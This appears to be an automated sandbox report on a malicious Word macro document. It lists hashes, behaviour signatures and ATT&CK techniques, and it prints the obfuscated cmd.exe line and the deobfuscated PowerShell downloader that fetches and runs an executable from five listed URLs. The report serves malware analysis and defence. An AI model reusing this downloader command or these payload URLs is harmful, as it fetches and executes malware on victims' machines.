fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f

General

Target

fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f.doc
Size

62KB
MD5

8cf2a878780f9f16e7dd5ce997ee9a97
SHA1

0f5c26827acc179f7619b847a21de4e63b7bddce
SHA256

fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f
SHA512

e0ba84a3667ee46a042b167a624dcf3c14c2de28cba94dcba1afb6f035c6b52eddeec26a02fff4e2b4ef1ed9fea330169a302d979b7563c37db7903354e1b13d
SSDEEP

768:8ooSooooUatoXoooonooqoooUoooooIooUpJcaUitGAlmrJpmxlzC+w99NBD3y6L:QptJlmrJpmxlRw99NB7yZhERepNiqwC

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tomas.datanom.fi/testlab/w0qi46LyvZ

exe.dropper

http://www.plasdo.com/MNXfUEtpo

exe.dropper

http://vinastone.com/m3qQf5sLVY

exe.dropper

http://vaarbewijzer.nl/D50JpVAsc0

exe.dropper

http://ruforum.uonbi.ac.ke/wp-content/uploads/afZG2WrC

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1820	1436	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	process
25	2192	powershell.exe
28	2192	powershell.exe
30	2192	powershell.exe
106	2192	powershell.exe
107	2192	powershell.exe
109	2192	powershell.exe
111	2192	powershell.exe
113	2192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2192 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

1820 cmd.exe

pid	process
2192	powershell.exe

pid	process
1820	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1436 WINWORD.EXE
1436 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2192 powershell.exe
2192 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2192 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1436 WINWORD.EXE
1436 WINWORD.EXE
1436 WINWORD.EXE
1436 WINWORD.EXE
1436 WINWORD.EXE
1436 WINWORD.EXE
1436 WINWORD.EXE

pid	process
1436	WINWORD.EXE
1436	WINWORD.EXE

pid	process
2192	powershell.exe
2192	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2192	powershell.exe

pid	process
1436	WINWORD.EXE
1436	WINWORD.EXE
1436	WINWORD.EXE
1436	WINWORD.EXE
1436	WINWORD.EXE
1436	WINWORD.EXE
1436	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1436 wrote to memory of 1820	1436	WINWORD.EXE	cmd.exe
PID 1436 wrote to memory of 1820	1436	WINWORD.EXE	cmd.exe
PID 1820 wrote to memory of 2192	1820	cmd.exe	powershell.exe
PID 1820 wrote to memory of 2192	1820	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\SYSTEM32\cmd.exe
  cmd /V/C"s^e^t NnQ=^ ^ ^ ^ ^ ^ ^ ^ ^}}{hct^ac^};kaerb;hZP^$ ^me^tI-^ekovn^I;)^h^ZP$ ^,s^o^j^$(^e^liFdaoln^w^o^D^.rV^S^$^{yr^t{)R^h^l$^ ni^ ^soj^$(^hcaerof^;^'e^xe.^'^+^fo^O^$+^'\^'^+c^il^bu^p:vn^e^$=hZP$;^'^23^8^'^ ^= ^f^o^O^$^;)'@^'(t^i^lpS^.^'Cr^W2G^Z^fa/^sd^ao^l^pu/tnetnoc^-^p^w/^ek.ca^.ibn^ou.^m^urofur//^:pt^t^h@0c^sAV^p^J05^D/^ln.r^e^z^j^iw^e^br^aav//:^ptt^h@^YVLs5fQq3^m/moc^.en^o^t^saniv//^:p^t^t^h@^o^pt^EU^fXN^M/moc^.^o^ds^alp.^www//^:^p^tth^@^Zvy^L^64^iq^0^w/b^alt^se^t/^i^f^.m^ona^t^ad^.^s^amo^t//^:^ptth^'^=Rh^l$^;^tnei^lC^be^W^.teN tc^e^jb^o-^wen=rVS$^ ^l^leh^sr^ew^op&&^f^or /^L %^H in (40^5^;^-1;0)^d^o ^s^e^t k^h=!k^h!!NnQ:~%^H,1!&&^if %^H=^=^0 c^a^l^l %k^h:^~^-^4^06%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $SVr=new-object Net.WebClient;$lhR='http://tomas.datanom.fi/testlab/w0qi46LyvZ@http://www.plasdo.com/MNXfUEtpo@http://vinastone.com/m3qQf5sLVY@http://vaarbewijzer.nl/D50JpVAsc0@http://ruforum.uonbi.ac.ke/wp-content/uploads/afZG2WrC'.Split('@');$Oof = '832';$PZh=$env:public+'\'+$Oof+'.exe';foreach($jos in $lhR){try{$SVr.DownloadFile($jos, $PZh);Invoke-Item $PZh;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDCBFD.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vzser3rz.n53.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\832.exe

Filesize
237KB

MD5
4d0108c18741767dc6731f8776f7a403

SHA1
a42c095d547792922f324b98d82c52124ac86115

SHA256
d98582553b4a9ea0069e4e91a5150fcd2e6dffc0f008efd7df7865f707371030

SHA512
1f8a287db3b620eee2e2f771eff19d6d1dcf89d658f93a10d23736ac1371923d47f68b04c0d179511f3bd9763cb4d1647c16cff8a2bfae477f607f6e7e74f87e

Download Submit
memory/1436-12-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-3-0x00007FFAF8EF0000-0x00007FFAF8F00000-memory.dmp

Filesize
64KB

Download
memory/1436-7-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-11-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-13-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-0-0x00007FFAF8EF0000-0x00007FFAF8F00000-memory.dmp

Filesize
64KB

Download
memory/1436-10-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-9-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-14-0x00007FFAF6590000-0x00007FFAF65A0000-memory.dmp

Filesize
64KB

Download
memory/1436-18-0x00007FFAF6590000-0x00007FFAF65A0000-memory.dmp

Filesize
64KB

Download
memory/1436-17-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-16-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-15-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-8-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-2-0x00007FFAF8EF0000-0x00007FFAF8F00000-memory.dmp

Filesize
64KB

Download
memory/1436-35-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-1-0x00007FFB38F0D000-0x00007FFB38F0E000-memory.dmp

Filesize
4KB

Download
memory/1436-33-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-34-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-36-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-6-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-5-0x00007FFAF8EF0000-0x00007FFAF8F00000-memory.dmp

Filesize
64KB

Download
memory/1436-52-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-53-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-54-0x00007FFB38F0D000-0x00007FFB38F0E000-memory.dmp

Filesize
4KB

Download
memory/1436-55-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-56-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-62-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-63-0x00007FFB38E70000-0x00007FFB39065000-memory.dmp

Filesize
2.0MB

Download
memory/1436-4-0x00007FFAF8EF0000-0x00007FFAF8F00000-memory.dmp

Filesize
64KB

Download
memory/2192-51-0x0000025FDFE50000-0x0000025FDFE72000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads